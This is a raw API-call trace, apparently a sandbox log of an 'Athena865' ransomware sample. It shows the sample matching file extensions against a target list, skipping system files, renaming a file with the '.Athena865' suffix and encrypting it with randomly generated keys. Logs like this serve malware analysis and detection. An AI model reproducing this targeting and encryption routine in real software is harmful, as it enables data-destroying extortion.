[0037.833] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0037.833] lstrlenW (lpString="4dd") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0037.833] lstrlenW (lpString="4dl") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0037.833] lstrlenW (lpString="^^^") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0037.833] lstrlenW (lpString="abs") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0037.833] lstrlenW (lpString="abx") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0037.833] lstrlenW (lpString="accdb") returned 5 [0037.833] lstrcmpiW (lpString1="rm.ax", lpString2="accdb") returned 1 [0037.833] lstrlenW (lpString="accdc") returned 5 [0037.833] lstrcmpiW (lpString1="rm.ax", lpString2="accdc") returned 1 [0037.833] lstrlenW (lpString="accde") returned 5 [0037.833] lstrcmpiW (lpString1="rm.ax", lpString2="accde") returned 1 [0037.833] lstrlenW (lpString="accdr") returned 5 [0037.833] lstrcmpiW (lpString1="rm.ax", lpString2="accdr") returned 1 [0037.833] lstrlenW (lpString="accdt") returned 5 [0037.833] lstrcmpiW (lpString1="rm.ax", lpString2="accdt") returned 1 [0037.834] lstrlenW (lpString="accdw") returned 5 [0037.834] lstrcmpiW (lpString1="rm.ax", lpString2="accdw") returned 1 [0037.834] lstrlenW (lpString="accft") returned 5 [0037.834] lstrcmpiW (lpString1="rm.ax", lpString2="accft") returned 1 [0037.834] lstrlenW (lpString="adb") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.834] lstrlenW (lpString="adb") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.834] lstrlenW (lpString="ade") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0037.834] lstrlenW (lpString="adf") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0037.834] lstrlenW (lpString="adn") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0037.834] lstrlenW (lpString="adp") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0037.834] lstrlenW (lpString="alf") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0037.834] lstrlenW (lpString="ask") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0037.834] lstrlenW (lpString="btr") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0037.834] lstrlenW (lpString="cat") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0037.834] lstrlenW (lpString="cdb") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0037.834] lstrlenW (lpString="ckp") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0037.834] lstrlenW (lpString="cma") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0037.834] lstrlenW (lpString="cpd") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0037.834] lstrlenW (lpString="dacpac") returned 6 [0037.834] lstrcmpiW (lpString1="orm.ax", lpString2="dacpac") returned 1 [0037.834] lstrlenW (lpString="dad") returned 3 [0037.834] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0037.834] lstrlenW (lpString="dadiagrams") returned 10 [0037.835] lstrcmpiW (lpString1="ansform.ax", lpString2="dadiagrams") returned -1 [0037.835] lstrlenW (lpString="daschema") returned 8 [0037.835] lstrcmpiW (lpString1="sform.ax", lpString2="daschema") returned 1 [0037.835] lstrlenW (lpString="db-journal") returned 10 [0037.835] lstrcmpiW (lpString1="ansform.ax", lpString2="db-journal") returned -1 [0037.835] lstrlenW (lpString="db-shm") returned 6 [0037.835] lstrcmpiW (lpString1="orm.ax", lpString2="db-shm") returned 1 [0037.835] lstrlenW (lpString="db-wal") returned 6 [0037.835] lstrcmpiW (lpString1="orm.ax", lpString2="db-wal") returned 1 [0037.835] lstrlenW (lpString="dbc") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0037.835] lstrlenW (lpString="dbs") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0037.835] lstrlenW (lpString="dbt") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0037.835] lstrlenW (lpString="dbv") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0037.835] lstrlenW (lpString="dbx") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0037.835] lstrlenW (lpString="dcb") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0037.835] lstrlenW (lpString="dct") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0037.835] lstrlenW (lpString="dcx") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0037.835] lstrlenW (lpString="ddl") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="ddl") returned -1 [0037.835] lstrlenW (lpString="dlis") returned 4 [0037.835] lstrcmpiW (lpString1="m.ax", lpString2="dlis") returned 1 [0037.835] lstrlenW (lpString="dp1") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dp1") returned -1 [0037.835] lstrlenW (lpString="dqy") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dqy") returned -1 [0037.835] lstrlenW (lpString="dsk") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dsk") returned -1 [0037.835] lstrlenW (lpString="dsn") returned 3 [0037.835] lstrcmpiW (lpString1=".ax", lpString2="dsn") returned -1 [0037.835] lstrlenW (lpString="dtsx") returned 4 [0037.836] lstrcmpiW (lpString1="m.ax", lpString2="dtsx") returned 1 [0037.836] lstrlenW (lpString="dxl") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="dxl") returned -1 [0037.836] lstrlenW (lpString="eco") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="eco") returned -1 [0037.836] lstrlenW (lpString="ecx") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="ecx") returned -1 [0037.836] lstrlenW (lpString="edb") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="edb") returned -1 [0037.836] lstrlenW (lpString="epim") returned 4 [0037.836] lstrcmpiW (lpString1="m.ax", lpString2="epim") returned 1 [0037.836] lstrlenW (lpString="fcd") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fcd") returned -1 [0037.836] lstrlenW (lpString="fdb") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fdb") returned -1 [0037.836] lstrlenW (lpString="fic") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fic") returned -1 [0037.836] lstrlenW (lpString="flexolibrary") returned 12 [0037.836] lstrcmpiW (lpString1="transform.ax", lpString2="flexolibrary") returned 1 [0037.836] lstrlenW (lpString="fm5") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fm5") returned -1 [0037.836] lstrlenW (lpString="fmp") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fmp") returned -1 [0037.836] lstrlenW (lpString="fmp12") returned 5 [0037.836] lstrcmpiW (lpString1="rm.ax", lpString2="fmp12") returned 1 [0037.836] lstrlenW (lpString="fmpsl") returned 5 [0037.836] lstrcmpiW (lpString1="rm.ax", lpString2="fmpsl") returned 1 [0037.836] lstrlenW (lpString="fol") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fol") returned -1 [0037.836] lstrlenW (lpString="fp3") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fp3") returned -1 [0037.836] lstrlenW (lpString="fp4") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fp4") returned -1 [0037.836] lstrlenW (lpString="fp5") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fp5") returned -1 [0037.836] lstrlenW (lpString="fp7") returned 3 [0037.836] lstrcmpiW (lpString1=".ax", lpString2="fp7") returned -1 [0037.837] lstrlenW (lpString="fpt") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="fpt") returned -1 [0037.837] lstrlenW (lpString="frm") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="frm") returned -1 [0037.837] lstrlenW (lpString="gdb") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.837] lstrlenW (lpString="gdb") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.837] lstrlenW (lpString="grdb") returned 4 [0037.837] lstrcmpiW (lpString1="m.ax", lpString2="grdb") returned 1 [0037.837] lstrlenW (lpString="gwi") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="gwi") returned -1 [0037.837] lstrlenW (lpString="hdb") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="hdb") returned -1 [0037.837] lstrlenW (lpString="his") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="his") returned -1 [0037.837] lstrlenW (lpString="ib") returned 2 [0037.837] lstrcmpiW (lpString1="ax", lpString2="ib") returned -1 [0037.837] lstrlenW (lpString="idb") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="idb") returned -1 [0037.837] lstrlenW (lpString="ihx") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="ihx") returned -1 [0037.837] lstrlenW (lpString="itdb") returned 4 [0037.837] lstrcmpiW (lpString1="m.ax", lpString2="itdb") returned 1 [0037.837] lstrlenW (lpString="itw") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="itw") returned -1 [0037.837] lstrlenW (lpString="jet") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="jet") returned -1 [0037.837] lstrlenW (lpString="jtx") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="jtx") returned -1 [0037.837] lstrlenW (lpString="kdb") returned 3 [0037.837] lstrcmpiW (lpString1=".ax", lpString2="kdb") returned -1 [0037.837] lstrlenW (lpString="kexi") returned 4 [0037.837] lstrcmpiW (lpString1="m.ax", lpString2="kexi") returned 1 [0037.837] lstrlenW (lpString="kexic") returned 5 [0037.837] lstrcmpiW (lpString1="rm.ax", lpString2="kexic") returned 1 [0037.837] lstrlenW (lpString="kexis") returned 5 [0037.837] lstrcmpiW (lpString1="rm.ax", lpString2="kexis") returned 1 [0037.837] lstrlenW (lpString="lgc") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="lgc") returned -1 [0037.838] lstrlenW (lpString="lwx") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="lwx") returned -1 [0037.838] lstrlenW (lpString="maf") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="maf") returned -1 [0037.838] lstrlenW (lpString="maq") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="maq") returned -1 [0037.838] lstrlenW (lpString="mar") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mar") returned -1 [0037.838] lstrlenW (lpString="marshal") returned 7 [0037.838] lstrcmpiW (lpString1="form.ax", lpString2="marshal") returned -1 [0037.838] lstrlenW (lpString="mas") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mas") returned -1 [0037.838] lstrlenW (lpString="mav") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mav") returned -1 [0037.838] lstrlenW (lpString="maw") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="maw") returned -1 [0037.838] lstrlenW (lpString="mdbhtml") returned 7 [0037.838] lstrcmpiW (lpString1="form.ax", lpString2="mdbhtml") returned -1 [0037.838] lstrlenW (lpString="mdn") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mdn") returned -1 [0037.838] lstrlenW (lpString="mdt") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mdt") returned -1 [0037.838] lstrlenW (lpString="mfd") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mfd") returned -1 [0037.838] lstrlenW (lpString="mpd") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mpd") returned -1 [0037.838] lstrlenW (lpString="mrg") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mrg") returned -1 [0037.838] lstrlenW (lpString="mud") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mud") returned -1 [0037.838] lstrlenW (lpString="mwb") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="mwb") returned -1 [0037.838] lstrlenW (lpString="myd") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="myd") returned -1 [0037.838] lstrlenW (lpString="ndf") returned 3 [0037.838] lstrcmpiW (lpString1=".ax", lpString2="ndf") returned -1 [0037.839] lstrlenW (lpString="nnt") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="nnt") returned -1 [0037.839] lstrlenW (lpString="nrmlib") returned 6 [0037.839] lstrcmpiW (lpString1="orm.ax", lpString2="nrmlib") returned 1 [0037.839] lstrlenW (lpString="ns2") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="ns2") returned -1 [0037.839] lstrlenW (lpString="ns3") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="ns3") returned -1 [0037.839] lstrlenW (lpString="ns4") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="ns4") returned -1 [0037.839] lstrlenW (lpString="nsf") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="nsf") returned -1 [0037.839] lstrlenW (lpString="nv") returned 2 [0037.839] lstrcmpiW (lpString1="ax", lpString2="nv") returned -1 [0037.839] lstrlenW (lpString="nv2") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="nv2") returned -1 [0037.839] lstrlenW (lpString="nwdb") returned 4 [0037.839] lstrcmpiW (lpString1="m.ax", lpString2="nwdb") returned -1 [0037.839] lstrlenW (lpString="nyf") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="nyf") returned -1 [0037.839] lstrlenW (lpString="odb") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.839] lstrlenW (lpString="odb") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.839] lstrlenW (lpString="oqy") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="oqy") returned -1 [0037.839] lstrlenW (lpString="ora") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="ora") returned -1 [0037.839] lstrlenW (lpString="orx") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="orx") returned -1 [0037.839] lstrlenW (lpString="owc") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="owc") returned -1 [0037.839] lstrlenW (lpString="p96") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="p96") returned -1 [0037.839] lstrlenW (lpString="p97") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="p97") returned -1 [0037.839] lstrlenW (lpString="pan") returned 3 [0037.839] lstrcmpiW (lpString1=".ax", lpString2="pan") returned -1 [0037.840] lstrlenW (lpString="pdb") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="pdb") returned -1 [0037.840] lstrlenW (lpString="pdm") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="pdm") returned -1 [0037.840] lstrlenW (lpString="pnz") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="pnz") returned -1 [0037.840] lstrlenW (lpString="qry") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="qry") returned -1 [0037.840] lstrlenW (lpString="qvd") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="qvd") returned -1 [0037.840] lstrlenW (lpString="rbf") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="rbf") returned -1 [0037.840] lstrlenW (lpString="rctd") returned 4 [0037.840] lstrcmpiW (lpString1="m.ax", lpString2="rctd") returned -1 [0037.840] lstrlenW (lpString="rod") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="rod") returned -1 [0037.840] lstrlenW (lpString="rodx") returned 4 [0037.840] lstrcmpiW (lpString1="m.ax", lpString2="rodx") returned -1 [0037.840] lstrlenW (lpString="rpd") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="rpd") returned -1 [0037.840] lstrlenW (lpString="rsd") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="rsd") returned -1 [0037.840] lstrlenW (lpString="sas7bdat") returned 8 [0037.840] lstrcmpiW (lpString1="sform.ax", lpString2="sas7bdat") returned 1 [0037.840] lstrlenW (lpString="sbf") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="sbf") returned -1 [0037.840] lstrlenW (lpString="scx") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="scx") returned -1 [0037.840] lstrlenW (lpString="sdb") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="sdb") returned -1 [0037.840] lstrlenW (lpString="sdc") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="sdc") returned -1 [0037.840] lstrlenW (lpString="sdf") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="sdf") returned -1 [0037.840] lstrlenW (lpString="sis") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="sis") returned -1 [0037.840] lstrlenW (lpString="spq") returned 3 [0037.840] lstrcmpiW (lpString1=".ax", lpString2="spq") returned -1 [0037.841] lstrlenW (lpString="te") returned 2 [0037.841] lstrcmpiW (lpString1="ax", lpString2="te") returned -1 [0037.841] lstrlenW (lpString="teacher") returned 7 [0037.841] lstrcmpiW (lpString1="form.ax", lpString2="teacher") returned -1 [0037.841] lstrlenW (lpString="tmd") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="tmd") returned -1 [0037.841] lstrlenW (lpString="tps") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="tps") returned -1 [0037.841] lstrlenW (lpString="trc") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.841] lstrlenW (lpString="trc") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.841] lstrlenW (lpString="trm") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="trm") returned -1 [0037.841] lstrlenW (lpString="udb") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="udb") returned -1 [0037.841] lstrlenW (lpString="udl") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="udl") returned -1 [0037.841] lstrlenW (lpString="usr") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="usr") returned -1 [0037.841] lstrlenW (lpString="v12") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="v12") returned -1 [0037.841] lstrlenW (lpString="vis") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="vis") returned -1 [0037.841] lstrlenW (lpString="vpd") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="vpd") returned -1 [0037.841] lstrlenW (lpString="vvv") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="vvv") returned -1 [0037.841] lstrlenW (lpString="wdb") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="wdb") returned -1 [0037.841] lstrlenW (lpString="wmdb") returned 4 [0037.841] lstrcmpiW (lpString1="m.ax", lpString2="wmdb") returned -1 [0037.841] lstrlenW (lpString="wrk") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="wrk") returned -1 [0037.841] lstrlenW (lpString="xdb") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="xdb") returned -1 [0037.841] lstrlenW (lpString="xld") returned 3 [0037.841] lstrcmpiW (lpString1=".ax", lpString2="xld") returned -1 [0037.841] lstrlenW (lpString="xmlff") returned 5 [0037.842] lstrcmpiW (lpString1="rm.ax", lpString2="xmlff") returned -1 [0037.842] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.Athena865") returned 56 [0037.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.athena865"), dwFlags=0x1) returned 1 [0037.842] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0037.842] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51712) returned 1 [0037.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.843] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.843] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.843] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.844] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd00, lpName=0x0) returned 0x17c [0037.845] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd00) returned 0x100000 [0037.849] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.850] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.850] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.851] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.851] CloseHandle (hObject=0x17c) returned 1 [0037.851] CloseHandle (hObject=0x154) returned 1 [0037.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.853] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="..") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="windows") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="bootmgr") returned 1 [0037.853] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="temp") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="pagefile.sys") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="boot") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="ids.txt") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="ntuser.dat") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="perflogs") returned 1 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="MSBuild") returned 1 [0037.854] lstrlenW (lpString="WMM2CLIP.dll") returned 12 [0037.854] lstrcpyW (in: lpString1=0x241e87e, lpString2="WMM2CLIP.dll" | out: lpString1="WMM2CLIP.dll") returned="WMM2CLIP.dll" [0037.854] lstrlenW (lpString="WMM2CLIP.dll") returned 12 [0037.854] lstrlenW (lpString="Athena865") returned 9 [0037.854] lstrcmpiW (lpString1="2CLIP.dll", lpString2="Athena865") returned -1 [0037.854] lstrlenW (lpString=".dll") returned 4 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".dll") returned 1 [0037.854] lstrlenW (lpString=".lnk") returned 4 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".lnk") returned 1 [0037.854] lstrlenW (lpString=".ini") returned 4 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".ini") returned 1 [0037.854] lstrlenW (lpString=".sys") returned 4 [0037.854] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".sys") returned 1 [0037.854] lstrlenW (lpString="WMM2CLIP.dll") returned 12 [0037.854] lstrlenW (lpString="bak") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0037.854] lstrlenW (lpString="ba_") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0037.854] lstrlenW (lpString="dbb") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0037.854] lstrlenW (lpString="vmdk") returned 4 [0037.854] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0037.854] lstrlenW (lpString="rar") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0037.854] lstrlenW (lpString="zip") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0037.854] lstrlenW (lpString="tgz") returned 3 [0037.854] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0037.854] lstrlenW (lpString="vbox") returned 4 [0037.855] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0037.855] lstrlenW (lpString="vdi") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0037.855] lstrlenW (lpString="vhd") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0037.855] lstrlenW (lpString="vhdx") returned 4 [0037.855] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0037.855] lstrlenW (lpString="avhd") returned 4 [0037.855] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0037.855] lstrlenW (lpString="db") returned 2 [0037.855] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0037.855] lstrlenW (lpString="db2") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0037.855] lstrlenW (lpString="db3") returned 3 